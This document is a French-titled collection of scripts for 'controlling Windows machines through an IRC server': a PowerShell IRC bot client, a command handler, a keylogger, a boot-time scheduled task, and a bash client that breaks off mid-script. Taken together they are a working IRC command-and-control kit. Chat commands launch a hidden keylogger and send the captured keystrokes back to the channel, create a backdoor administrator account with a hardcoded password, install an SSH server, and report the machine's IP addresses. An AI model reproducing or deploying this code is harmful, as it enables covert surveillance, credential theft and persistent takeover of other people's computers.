Contrôler un parc de machine Windows au Travers d’un Serveur IRC

@echo off
set host=%COMPUTERNAME%
REM Possibilité d ajouter un tunnel ssh afin de chiffrer le trafic voir explication ci dessous
REM start PowerShell.exe -ExecutionPolicy Bypass -Command "ssh -L localhost:6667:192.168.1.42:6697 userlocal@192.168.1.42 -N"
pause
start PowerShell.exe -ExecutionPolicy Bypass -File %~dp0\irc-client2.ps1 %host% 127.0.0.1:6667 general %~dp0\hellobot.ps1

<#  
.SYNOPSIS  
    IRC Bot Toolkit for PowerShell
   
.DESCRIPTION  
    `Run-IrcBot.ps1` is an easy way to make IRC bots using PowerShell. Requiring no dependencies, it handles the IRC protocol so you can concentrate on the cool stuff your bot will do. If your bot is script-based, it can be edited at runtime for maximum fun and iterative development. Great for internal IRC servers. Licensed under MIT.
   
    For license and documention, see: https://github.com/alejandro5042/Run-IrcBot
   
    Copyright (c) 2014 Alejandro Barreto
   
.LINK
    https://github.com/alejandro5042/Run-IrcBot
#>

[CmdLetBinding()]
param
(
    [Parameter(Position = 0, Mandatory = $true)]
    [string]
    $Name,
   
    [Parameter(Position = 1, Mandatory = $true)]
    [string]
    $Server,
   
    [Parameter(Position = 2, Mandatory = $true)]
    [string[]]
    $Channels,
   
    [Parameter(Position = 3)]
    $BotScript,
   
    $State = @{},
   
    [switch]
    $Silent
)

#################################################################

$SOURCE_URL = "http://github.com/alejandro5042/Run-IrcBot"

$BANNER = "IRC Bot Toolkit for PowerShell"

$DEFAULT_DESCRIPTION = "Based on -- $SOURCE_URL"

$API_VERSION = 1

#################################################################

$RESPONSE_CODES = @{

    # 001 Welcome to the Internet Relay Network <nick>!<user>@<host>
    001 = 'RPL_WELCOME';

    # 002 Your host is <servername>, running version <ver>
    002 = 'RPL_YOURHOST';

    # 003 This server was created <date>
    003 = 'RPL_CREATED';

    # 004 <servername> <version> <available user modes> <available channel modes>
    004 = 'RPL_MYINFO';

    # 005 Try server <server name>, port <port number>
    005 = 'RPL_BOUNCE';

    # 302 :*1<reply> *(
    302 = 'RPL_USERHOST';

    # 303 :*1<nick> *(
    303 = 'RPL_ISON';

    # 301 <nick> :<away message>
    301 = 'RPL_AWAY';

    # 305 :You are no longer marked as being away
    305 = 'RPL_UNAWAY';

    # 306 :You have been marked as being away
    306 = 'RPL_NOWAWAY';

    # 311 <nick> <user> <host> * :<real name>
    311 = 'RPL_WHOISUSER';

    # 312 <nick> <server> :<server info>
    312 = 'RPL_WHOISSERVER';

    # 313 <nick> :is an IRC operator
    313 = 'RPL_WHOISOPERATOR';

    # 317 <nick> <integer> :seconds idle
    317 = 'RPL_WHOISIDLE';

    # 318 <nick> :End of WHOIS list
    318 = 'RPL_ENDOFWHOIS';

    # 319 "<nick> :*( ( "@" / "+" ) <channel> " " )"
    319 = 'RPL_WHOISCHANNELS';

    # 314 <nick> <user> <host> * :<real name>
    314 = 'RPL_WHOWASUSER';

    # 369 <nick> :End of WHOWAS
    369 = 'RPL_ENDOFWHOWAS';

    # 322 <channel> <# visible> :<topic>
    322 = 'RPL_LIST';

    # 323 :End of LIST
    323 = 'RPL_LISTEND';

    # 325 <channel> <nickname>
    325 = 'RPL_UNIQOPIS';

    # 324 <channel> <mode> <mode params>
    324 = 'RPL_CHANNELMODEIS';

    # 331 <channel> :No topic is set
    331 = 'RPL_NOTOPIC';

    # 332 <channel> :<topic>
    332 = 'RPL_TOPIC';

    # 341 <channel> <nick>
    341 = 'RPL_INVITING';

    # 342 <user> :Summoning user to IRC
    342 = 'RPL_SUMMONING';

    # 346 <channel> <invitemask>
    346 = 'RPL_INVITELIST';

    # 347 <channel> :End of channel invite list
    347 = 'RPL_ENDOFINVITELIST';

    # 348 <channel> <exceptionmask>
    348 = 'RPL_EXCEPTLIST';

    # 349 <channel> :End of channel exception list
    349 = 'RPL_ENDOFEXCEPTLIST';

    # 351 <version>.<debuglevel> <server> :<comments>
    351 = 'RPL_VERSION';

    # 352 <channel> <user> <host> <server> <nick> ( "H
    352 = 'RPL_WHOREPLY';

    # 315 <name> :End of WHO list
    315 = 'RPL_ENDOFWHO';

    # 353 ( "=
    353 = 'RPL_NAMREPLY';

    # 366 <channel> :End of NAMES list
    366 = 'RPL_ENDOFNAMES';

    # 364 <mask> <server> :<hopcount> <server info>
    364 = 'RPL_LINKS';

    # 365 <mask> :End of LINKS list
    365 = 'RPL_ENDOFLINKS';

    # 367 <channel> <banmask>
    367 = 'RPL_BANLIST';

    # 368 <channel> :End of channel ban list
    368 = 'RPL_ENDOFBANLIST';

    # 371 :<string>
    371 = 'RPL_INFO';

    # 374 :End of INFO list
    374 = 'RPL_ENDOFINFO';

    # 375 :- <server> Message of the day -
    375 = 'RPL_MOTDSTART';

    # 372 :- <text>
    372 = 'RPL_MOTD';

    # 376 :End of MOTD command
    376 = 'RPL_ENDOFMOTD';

    # 381 :You are now an IRC operator
    381 = 'RPL_YOUREOPER';

    # 382 <config file> :Rehashing
    382 = 'RPL_REHASHING';

    # 383 You are service <servicename>
    383 = 'RPL_YOURESERVICE';

    # 391 <server> :<string showing server's local time>
    391 = 'RPL_TIME';

    # 392 :UserID Terminal Host
    392 = 'RPL_USERSSTART';

    # 393 :<username> <ttyline> <hostname>
    393 = 'RPL_USERS';

    # 394 :End of users
    394 = 'RPL_ENDOFUSERS';

    # 395 :Nobody logged in
    395 = 'RPL_NOUSERS';

    # 200 Link <version & debug level> <destination> <next server> V<protocol version> <link uptime in seconds> <backstream sendq> <upstream sendq>
    200 = 'RPL_TRACELINK';

    # 201 Try. <class> <server>
    201 = 'RPL_TRACECONNECTING';

    # 202 H.S. <class> <server>
    202 = 'RPL_TRACEHANDSHAKE';

    # 203 ???? <class> [<client IP address in dot form>]
    203 = 'RPL_TRACEUNKNOWN';

    # 204 Oper <class> <nick>
    204 = 'RPL_TRACEOPERATOR';

    # 205 Name <class> <nick>
    205 = 'RPL_TRACEUSER';

    # 206 Serv <class> <int>S <int>C <server> <nick!user|*!*>@<host|server> V<protocol version>
    206 = 'RPL_TRACESERVER';

    # 207 Service <class> <name> <type> <active type>
    207 = 'RPL_TRACESERVICE';

    # 208 <newtype> 0 <client name>
    208 = 'RPL_TRACENEWTYPE';

    # 209 Class <class> <count>
    209 = 'RPL_TRACECLASS';

    # 261 File <logfile> <debug level>
    261 = 'RPL_TRACELOG';

    # 262 <server name> <version & debug level> :End of TRACE
    262 = 'RPL_TRACEEND';

    # 211 <linkname> <sendq> <sent messages> <sent Kbytes> <received messages> <received Kbytes> <time open>
    211 = 'RPL_STATSLINKINFO';

    # 212 <command> <count> <byte count> <remote count>
    212 = 'RPL_STATSCOMMANDS';

    # 219 <stats letter> :End of STATS report
    219 = 'RPL_ENDOFSTATS';

    # 242 :Server Up d days d:02d:02d
    242 = 'RPL_STATSUPTIME';

    # 243 O <hostmask> * <name>
    243 = 'RPL_STATSOLINE';

    # 221 <user mode string>
    221 = 'RPL_UMODEIS';

    # 234 <name> <server> <mask> <type> <hopcount> <info>
    234 = 'RPL_SERVLIST';

    # 235 <mask> <type> :End of service listing
    235 = 'RPL_SERVLISTEND';

    # 251 :There are <integer> users and <integer> services on <integer> servers
    251 = 'RPL_LUSERCLIENT';

    # 252 <integer> :operator(s) online
    252 = 'RPL_LUSEROP';

    # 253 <integer> :unknown connection(s)
    253 = 'RPL_LUSERUNKNOWN';

    # 254 <integer> :channels formed
    254 = 'RPL_LUSERCHANNELS';

    # 255 :I have <integer> clients and <integer> servers
    255 = 'RPL_LUSERME';

    # 256 <server> :Administrative info
    256 = 'RPL_ADMINME';

    # 257 :<admin info>
    257 = 'RPL_ADMINLOC1';

    # 258 :<admin info>
    258 = 'RPL_ADMINLOC2';

    # 259 :<admin info>
    259 = 'RPL_ADMINEMAIL';

    # 263 <command> :Please wait a while and try again.
    263 = 'RPL_TRYAGAIN';

    # 401 <nickname> :No such nick/channel
    401 = 'ERR_NOSUCHNICK';

    # 402 <server name> :No such server
    402 = 'ERR_NOSUCHSERVER';

    # 403 <channel name> :No such channel
    403 = 'ERR_NOSUCHCHANNEL';

    # 404 <channel name> :Cannot send to channel
    404 = 'ERR_CANNOTSENDTOCHAN';

    # 405 <channel name> :You have joined too many channels
    405 = 'ERR_TOOMANYCHANNELS';

    # 406 <nickname> :There was no such nickname
    406 = 'ERR_WASNOSUCHNICK';

    # 407 <target> :<error code> recipients. <abort message>
    407 = 'ERR_TOOMANYTARGETS';

    # 408 <service name> :No such service
    408 = 'ERR_NOSUCHSERVICE';

    # 409 :No origin specified
    409 = 'ERR_NOORIGIN';

    # 411 :No recipient given (<command>)
    411 = 'ERR_NORECIPIENT';

    # 412 :No text to send
    412 = 'ERR_NOTEXTTOSEND';

    # 413 <mask> :No toplevel domain specified
    413 = 'ERR_NOTOPLEVEL';

    # 414 <mask> :Wildcard in toplevel domain
    414 = 'ERR_WILDTOPLEVEL';

    # 415 <mask> :Bad Server/host mask
    415 = 'ERR_BADMASK';

    # 421 <command> :Unknown command
    421 = 'ERR_UNKNOWNCOMMAND';

    # 422 :MOTD File is missing
    422 = 'ERR_NOMOTD';

    # 423 <server> :No administrative info available
    423 = 'ERR_NOADMININFO';

    # 424 :File error doing <file op> on <file>
    424 = 'ERR_FILEERROR';

    # 431 :No nickname given
    431 = 'ERR_NONICKNAMEGIVEN';

    # 432 <nick> :Erroneous nickname
    432 = 'ERR_ERRONEUSNICKNAME';

    # 433 <nick> :Nickname is already in use
    433 = 'ERR_NICKNAMEINUSE';

    # 436 <nick> :Nickname collision KILL from <user>@<host>
    436 = 'ERR_NICKCOLLISION';

    # 437 <nick/channel> :Nick/channel is temporarily unavailable
    437 = 'ERR_UNAVAILRESOURCE';

    # 441 <nick> <channel> :They aren't on that channel
    441 = 'ERR_USERNOTINCHANNEL';

    # 442 <channel> :You're not on that channel
    442 = 'ERR_NOTONCHANNEL';

    # 443 <user> <channel> :is already on channel
    443 = 'ERR_USERONCHANNEL';

    # 444 <user> :Name not logged in
    444 = 'ERR_NOLOGIN';

    # 445 :SUMMON has been disabled
    445 = 'ERR_SUMMONDISABLED';

    # 446 :USERS has been disabled
    446 = 'ERR_USERSDISABLED';

    # 451 :You have not registered
    451 = 'ERR_NOTREGISTERED';

    # 461 <command> :Not enough parameters
    461 = 'ERR_NEEDMOREPARAMS';

    # 462 :Unauthorized command (already registered)
    462 = 'ERR_ALREADYREGISTRED';

    # 463 :Your host isn't among the privileged
    463 = 'ERR_NOPERMFORHOST';

    # 464 :Password incorrect
    464 = 'ERR_PASSWDMISMATCH';

    # 465 :You are banned from this server
    465 = 'ERR_YOUREBANNEDCREEP';

    # 466 :You will be banned from this server
    466 = 'ERR_YOUWILLBEBANNED';

    # 467 <channel> :Channel key already set
    467 = 'ERR_KEYSET';

    # 471 <channel> :Cannot join channel (+l)
    471 = 'ERR_CHANNELISFULL';

    # 472 <char> :is unknown mode char to me for <channel>
    472 = 'ERR_UNKNOWNMODE';

    # 473 <channel> :Cannot join channel (+i)
    473 = 'ERR_INVITEONLYCHAN';

    # 474 <channel> :Cannot join channel (+b)
    474 = 'ERR_BANNEDFROMCHAN';

    # 475 <channel> :Cannot join channel (+k)
    475 = 'ERR_BADCHANNELKEY';

    # 476 <channel> :Bad Channel Mask
    476 = 'ERR_BADCHANMASK';

    # 477 <channel> :Channel doesn't support modes
    477 = 'ERR_NOCHANMODES';

    # 478 <channel> <char> :Channel list is full
    478 = 'ERR_BANLISTFULL';

    # 481 :Permission Denied- You're not an IRC operator
    481 = 'ERR_NOPRIVILEGES';

    # 482 <channel> :You're not channel operator
    482 = 'ERR_CHANOPRIVSNEEDED';

    # 483 :You can't kill a server!
    483 = 'ERR_CANTKILLSERVER';

    # 484 :Your connection is restricted!
    484 = 'ERR_RESTRICTED';

    # 485 :You're not the original channel operator
    485 = 'ERR_UNIQOPPRIVSNEEDED';

    # 491 :No O-lines for your host
    491 = 'ERR_NOOPERHOST';

    # 501 :Unknown MODE flag
    501 = 'ERR_UMODEUNKNOWNFLAG';

    # 502 :Cannot change mode for other users
    502 = 'ERR_USERSDONTMATCH';
}

function Write-Banner ($message)
{
    if (!$Silent)
    {
        Write-Host $message -Foreground DarkGray
        Write-Host
    }
}

function Write-BotHost ($message)
{
    if (!$Silent)
    {
        Write-Host "** $message" -Foreground DarkGray
    }
}

function InstinctBot ($message, $bot)
{
    switch ($message.Command)
    {
        'BOT_CONNECTED'
        {
            "/NICK $($bot.Nickname)"
            "/USER $($bot.Name) localhost $($bot.ServerName) :$($bot.Description)"
            break
        }
        'RPL_WELCOME'
        {
            Write-BotHost "Connected: $($message.ArgumentString)"
            break
        }
        'JOIN'
        {
            Write-BotHost "Joined: $($message.Arguments[0])"
            break
        }
        'RPL_ENDOFMOTD'
        {
            "/JOIN $($bot.Channels)"
            break
        }
        'PING'
        {
            "/PONG $($message.ArgumentString)"
            break
        }
        'ERR_ERRONEUSNICKNAME'
        {
            $bot.Running = $false
            throw 'Invalid user name.'
        }
        'ERR_NICKNAMEINUSE'
        {
            $bot.NicknameCounter += 1
            $bot.Nickname = ($message.Arguments[1] -replace "[\d]*$", "") + $bot.NicknameCounter
            "/NICK $($bot.Nickname)"
            break
        }
        'ERROR'
        {
            Write-BotHost "Quitting: $($message.Arguments[0])"
            $bot.Running = $false
            break
        }
    }
}

filter Parse-OutgoingLine ($message, $bot)
{
    $line = $_
    $target = $message.Target
   
    # Don't output a white line.
    if ($line.Trim().Length -eq 0)
    {
        return
    }
   
    if (!$target)
    {
        $target = $bot.Channels
    }
   
    if ($line -match '^/msg\s+([^\s]+)\s+(.*)')
    {
        $target = $Matches[1]
        $line = $Matches[2]
    }
   
    if ($line -match '^/me\s(.*)')
    {
        $line = "$([char]1)ACTION $($Matches[1])$([char]1)"
    }
   
    if (!$line)
    {
        $line = ''
    }
   
    if ($line.StartsWith('/'))
    {
        $line = $line.Substring(1)
       
        # See if it was escaped.
        if (!$line.StartsWith('/'))
        {
            return $line
        }
    }
   
    if (!$target)
    {
        throw "No message target: $line"
    }
   
    return "PRIVMSG $target :$line"
}

function Write-Irc ($message, $bot)
{
    begin
    {
        $wroteToIrc = $false
    }
    process
    {
        foreach ($line in ([string]$_ -split '\n') | Parse-OutgoingLine $message $bot)
        {
            if ($line -match '^pipe(?:\s(.*))?')
            {
                $Matches[1]
            }
            elseif ($bot.Writer)
            {
                if (!$wroteToIrc)
                {
                    Write-Verbose "--------------------------------------"
                    $wroteToIrc = $true
                }
           
                Write-Verbose "<< $line"
                $bot.Writer.WriteLine($line)
                $bot.Writer.Flush()
                sleep -Milliseconds $bot.InteractiveDelay
            }
            else
            {
                # We don't have a writer and we didn't write to the pipe. Ignore the message.
            }
        }
    }
    end
    {
        if ($wroteToIrc)
        {
            Write-Verbose "--------------------------------------"
        }
    }
}

filter Parse-IncomingLine ($bot)
{
    if ($_ -match "^(?:[:@]([^\s]+) )?([^\s]+)((?: ((?:[^:\s][^\s]* ?)*))?(?: ?:(.*))?)$")
    {
        $message = "" | select Line, Prefix, Command, CommandCode, ArgumentString, Arguments, Text, Target, Time, SenderNickname, SenderName, SenderHost
       
        $message.Time = (Get-Date)
        $message.Line = $_
        $message.Prefix = $Matches[1]
        $message.CommandCode = $Matches[2]
        $message.ArgumentString = $Matches[3].TrimStart()
        $message.Arguments = @(@($Matches[4] -split " ") + @($Matches[5]) | where { $_ })
       
        if ($message.Prefix -match "^(.*?)!(.*?)@(.*?)$")
        {
            $message.SenderNickname = $Matches[1]
            $message.SenderName = $Matches[2]
            $message.SenderHost = $Matches[3]
        }
       
        $message.Command = $RESPONSE_CODES[[int]($message.CommandCode -as [int])]
        if (!$message.Command)
        {
            $message.Command = $message.CommandCode
        }
       
        if ($message.Command -eq "PRIVMSG")
        {
            $message.Target = $message.Arguments[0]
            $message.Text = $message.Arguments[1]
           
            $message.Text = $message.Text -replace "^$([char]1)ACTION (.*)$([char]1)$", '/me $1' # Reset actions.
            $message.Text = $message.Text -replace "$([char]3)(?:1[0-5]|[0-9])(?:,(?:1[0-5]|[0-9]))?", '' # Remove colors.
            $message.Text = $message.Text -replace "$([char]0x02)", '' # Remove bold.
            $message.Text = $message.Text -replace "$([char]0x1D)", '' # Remove italics.
            $message.Text = $message.Text -replace "$([char]0x1F)", '' # Remove underline.
        }
       
        return $message
    }
}

filter listify
{
    (@(($_ | fl | out-string) -split "`n") | foreach { $_.Trim() } | where { $_ } | foreach { "#    $_`n" }) -join ''
}

function Run-Bot ($line, $bot, [switch]$fatal)
{
    $message = $line | Parse-IncomingLine $bot
    Write-Verbose ">> $message"
     
    try
    {
        if (!$message)
        {
            throw "Unknown command."
        }
       
        InstinctBot $message $bot |
            Write-Irc $message $bot
       
        & $bot.BotScript $message $bot |
            Write-Irc $message $bot
    }
    catch
    {
        if ($fatal)
        {
            throw
        }
       
        if (!$bot.CurrentError)
        {
            $bot.CurrentError = $_
            Write-Error "$($_.Exception.ToString())`n$($_.InvocationInfo.PositionMessage)`n# Message:`n$($message | listify)`n# Bot.State:`n$([pscustomobject]$bot.State | listify)`n# Bot:`n$($bot | listify)"
           
            if ($bot.CurrentError.CategoryInfo.Category -ne "ParserError")
            {
                Run-Bot 'BOT_ERROR' $bot
            }
        }
    }
   
    $bot.CurrentError = $null
}

function Main
{
    try
    {
        Write-Banner $BANNER
       
        $bot = "" | select ServerName, ServerPort, Channels, TextEncoding, Name, State, BotScript, Connection, NetworkStream, Reader, Writer, InteractiveDelay, InactiveDelay, Running, CurrentError, TimerInterval, StartTime, LastTick, Nickname, Description, NicknameCounter, ApiVersion
       
        $bot.ApiVersion = $API_VERSION
       
        $bot.ServerName, $bot.ServerPort = $Server -split ":"
        if (!$bot.ServerPort)
        {
            $bot.ServerPort = 6697
        }
       
        if (Test-Path $Name)
        {
            $bot.Name = (gi $Name).BaseName
        }
        else
        {
            $bot.Name = $Name
        }
       
        $bot.Nickname = $bot.Name
        $bot.NicknameCounter = 1
        $bot.Description = $DEFAULT_DESCRIPTION
        $bot.Running = $false
        $bot.InactiveDelay = 1000
        $bot.InteractiveDelay = 100
        $bot.TimerInterval = 0
        $bot.BotScript = $BotScript
        $bot.State = $State
        $bot.Channels = ($Channels | where { $_ } | foreach { "#$_" }) -join ','
        $bot.TextEncoding = [Text.Encoding]::ASCII
       
        if (!$bot.BotScript)
        {
            $botScriptName = $Name
           
            if (!(Test-Path $botScriptName))
            {
                $botScriptName = $botScriptName + '.ps1'
            }
           
            if (!(Test-Path $botScriptName))
            {
                throw "Cannot find script: $botScriptName"
            }
           
            $botScriptItem = gi $botScriptName
            $bot.BotScript = $botScriptItem.FullName
        }
       
        Write-Verbose "Original Bot: $bot"
       
        # Allow the bot to initialize the bot and/or massage parameters. Plus, if the script fails to compile or statically initialize (maybe because it doesn't like a parameter), we'll quit before we even connect.
        Run-Bot 'BOT_INIT' $bot -Fatal
        Write-Verbose "Initialized Bot: $bot"
       
        try
        {
            $bot.Connection = New-Object Net.Sockets.TcpClient ($bot.ServerName, $bot.ServerPort)
            $bot.NetworkStream = $bot.Connection.GetStream()
            $bot.Reader = New-Object IO.StreamReader ($bot.NetworkStream, $bot.TextEncoding)
            $bot.Writer = New-Object IO.StreamWriter ($bot.NetworkStream, $bot.TextEncoding)
           
            $bot.StartTime = [DateTime]::Now
            $bot.Running = $true
            Run-Bot 'BOT_CONNECTED' $bot
       
            $active = $false
            $bot.LastTick = [DateTime]::Now
           
            while ($bot.Running)
            {
                if ($active)
                {
                    sleep -Milliseconds $bot.InteractiveDelay
                }
                else
                {
                    sleep -Milliseconds $bot.InactiveDelay
                }
               
                $active = $false
               
                if ($bot.Running -and $bot.TimerInterval)
                {
                    if ((New-TimeSpan $bot.LastTick ([DateTime]::Now)).TotalMilliseconds -gt $bot.TimerInterval)
                    {
                        Run-Bot 'BOT_TICK' $bot
                        $bot.LastTick = [DateTime]::Now
                    }
                }
                else
                {
                    $bot.LastTick = [DateTime]::Now
                }
               
                while ($bot.Running -and ($bot.NetworkStream.DataAvailable -or $bot.Reader.Peek() -ne -1))
                {
                    $line = $bot.Reader.ReadLine()
                   
                    if ($line -ne $null)
                    {
                        $active = $true
                        Run-Bot $line $bot
                    }
                }
            }
        }
        catch
        {
            $bot.CurrentError = $_
            Run-Bot 'BOT_FATAL_ERROR' $bot
            throw
        }
        finally
        {
            $bot.Running = $false
           
            try
            {
                if ($bot.Connection.Connected)
                {
                    Run-Bot 'BOT_DISCONNECTING' $bot
                }
            }
            finally
            {
                Run-Bot 'BOT_END' $bot
            }
        }
    }
    finally
    {
        if ($bot.Connection)
        {
            $bot.Connection.Close()
            $bot.Connection.Dispose()
           
            Write-BotHost "Disconnected [$([DateTime]::Now.ToString())]`n"
        }
    }
}

Main

param ($Message, $Bot)
#https://github.com/alejandro5042/Run-IrcBot
#Syntax GoGoGadget-hi computername
#Syntax GoGoGadget-kill computername pid
#$Message.Text
switch ($Message.Command)
{
    "join"
    {
        if ($Message.SenderNickname -ne $Bot.Nickname) # Don't say hello to ourselves!
        {
            "hey there $($Message.SenderNickname), what's up?"
        }
    }
}
if ($Message.Text -match "GoGoGadget-hi"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        "hello "+$Message.SenderNickname+" !"
    }
}
if ($Message.Text -match "GoGoGadget-private"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        ""+$Finale[2]
    }
}
if ($Message.Text -like "GoGoGadget-fondlaby"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        ""+"Bascule le Background vers laby.jpg"
        Function Set-WallPaper($Value){
            Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name "wallpaper" -value $value
        }
            rundll32.exe user32.dll, UpdatePerUserSystemParameters
        Set-WallPaper -value (Resolve-Path .\).Path+"\laby.jpg"
    }
}
if ($Message.Text -like "GoGoGadget-fondblack"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        ""+"Bascule le Background vers black.jpg"
        Function Set-WallPaper($Value){
            Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name "wallpaper" -value $value
            rundll32.exe user32.dll, UpdatePerUserSystemParameters
        }
        Set-WallPaper -value (Resolve-Path .\).Path+"\black.jpg"
    }
}
if ($Message.Text -match "GoGoGadget-record"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        $app = Start-Process -WindowStyle hidden powershell C:\Users\userlocal\Documents\BACKUP\inspircd\bot\exfiltr.ps1 -passthru
        ""+$Finale[1] + "ID for Kill : "+$app.Id
    }
}
if ($Message.Text -match "GoGoGadget-kill"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        Stop-Process -ID $Finale[2] -Force;
        $Path= "$env:temp\keylogger.txt"
        $ContentWrite = Get-Content -Path $Path;
        Remove-Item -Path $Path
        ""+$Finale[1]+" has write : ["+$ContentWrite+"]"
       
    }
}
if ($Message.Text -match "GoGoGadget-installssh"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        #Teste et installation du service openssh puis lancement
        $serviceName = 'OpenSSH SSH Server'
        If (Get-Service $serviceName -ErrorAction SilentlyContinue) {
            If ((Get-Service $serviceName).Status -eq 'Running') {
                Restart-Service -Name "$serviceName"
                "Restarting OpenSSH SSH Server"

            } Else {
                "OpenSSH SSH Server found, but it is not running."
                Start-Service -Name "$serviceName"
            }
        } Else {
            "OpenSSH SSH Server not found Install en cours"
            Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
        }

        #infos utilisateur pour connection ssh
        $Password = "password"
        $Utilisateur = "sshuser"
        $group = "Administrateurs";


        $password = ConvertTo-SecureString -String "$Password" -AsPlainText -Force

        #Teste pour vérifier si l'utilisateur exist deja, si non je le cré
        $op = Get-LocalUser | Where-Object {$_.Name -eq "$Utilisateur"}
        if ( -not $op){
          "sshuser not found creation en cours"
          New-LocalUser "$Utilisateur" -Password $Password -FullName "$Utilisateur" -Description "System Account" | Out-Null
        }else{
            "sshuser already created"
        }

        #Teste pour vérifier si l'utilisateur est membre du groupe administrateur
        $groupObj =[ADSI]"WinNT://./$group,group"
        $membersObj = @($groupObj.psbase.Invoke("Members"))
        $members = ($membersObj | foreach {$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)})
        If ($members -contains $Utilisateur) {
              "sshuser exists in the group $group"
         } Else {
              "sshuser not exists in the group $group"
              Add-LocalGroupMember -Group "Administrateurs" -Member "$Utilisateur"
        }
    }
}

if ($Message.Text -match "GoGoGadget-getip"){
    $Finale = $Message.Text.Split(" ");
    if ($Bot.Nickname -eq $Finale[1]){
        #Permet de retourner dans le chat irc les ip de la machine
        $ip=get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}
        ""+$Finale[1]+" -> "+$ip.ipaddress[0]  
    }

}

#requires -Version 2
#C:\Users\%username%\AppData\Local\Temp
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
   
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

  try
  {
    Write-Host "$PID Recording key presses. Press CTRL+C to see results." -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
     
      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success)
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
          }
        }
      }
    }
  }
  finally
  {
    # open logger file in Notepad
    notepad $Path
  }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

$task_name = "IrcD Client"
$description = "Inscription du Client sur le Serveur IRC au Boot"
$get_task = Get-ScheduledTask $task_name -ErrorAction SilentlyContinue
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -DontStopOnIdleEnd

if ($get_task) {
    Write-Output "changed=no comment='Task name already exists, task not added.'"
}
else {
    $action=New-ScheduledTaskAction -Execute "cmd.exe" -Argument "C:\Users\sshuser\AppData\Local\Microsoft\Windows\Ircd\bot\lunch.bat"
    $trigger =  New-ScheduledTaskTrigger -AtStartup
    Register-ScheduledTask -RunLevel Highest -Action $action -Trigger $trigger -User "sshuser" -Password "password" -TaskName $task_name -Description $description -Settings  $settings
    Write-Output "changed=yes comment='Task added succesfully.'"
}

#!/bin/bash
#./irc-client.sh -h 192.168.1.42 -p 6697 -n bashclient
# Defaults
[[ -z $SHIC_HOST ]] && SHIC_HOST="192.168.1.42"
[[ -z $SHIC_PORT ]] && SHIC_PORT=6697
[[ -z $SHIC_NICK ]] && SHIC_NICK="$USER"
[[ -z $SHIC_PASS ]] && SHIC_PASS=""
[[ -z $SHIC_CHANNEL ]] && SHIC_CHANNEL="general"
# Automatically execute these inputs at startup, separated by ;
# e.g: SHIC_SCRIPT=":j #general; Heya all!; :s;
[[ -z $SHIC_SCRIPT ]] && SHIC_SCRIPT=":j #general"
# Red error, green background for private message, cyan for #general,
# white for conversations in and out, and gray for everything else
[[ -z $SHIC_PREFIX ]] && SHIC_PREFIX=(
    "\e[31m::^ERROR"
    "\e[42m\e[30m::(^<[^@]*@[^#])"
    "\e[36m::#general"
    "\e[0m::^<"
    "\e[0m::^->"
    "\e[1;30m::(.*)"
)

# Read config files
[[ -r "$HOME/.shicrc" ]] && source "$HOME/.shicrc"
_xdgconf="${XDG_CONFIG_HOME:-$HOME/.config}/shic/shicrc"
[[ -r "$_xdgconf" ]] && source "$_xdgconf"

# Don't exit at Ctrl-C
trap "echo" SIGINT

# Clean up children at exit
trap "kill 0" EXIT

# Send raw message to server
function _send() {
    printf "%s\r\n" "$*" >&3
}

# Print for user
function _output() {
    _prefix=""
    for rule in ${SHIC_PREFIX[@]}; do
        [[ "$@" =~ ${rule#*::} ]] && _prefix="${rule%%::*}$_prefix"
    done
    printf "$_prefix%s\e[0m\n" "$*"
    #regex recherchant un message destine au client irc bash courant
    CurrentMatch=$(printf "$*" | grep -E "^<[a-zA-Z]{1,30}@#general> GoGoGadget-[a-zA-Z]{1,30} $SHIC_NICK")
    if [ ! -z "$CurrentMatch" ]
    then
        echo $CurrentMatch
        #coupe la string sur les espaces
        arrIN=(${CurrentMatch// / })
        echo ${arrIN[1]}
       
        case ${arrIN[1]} in
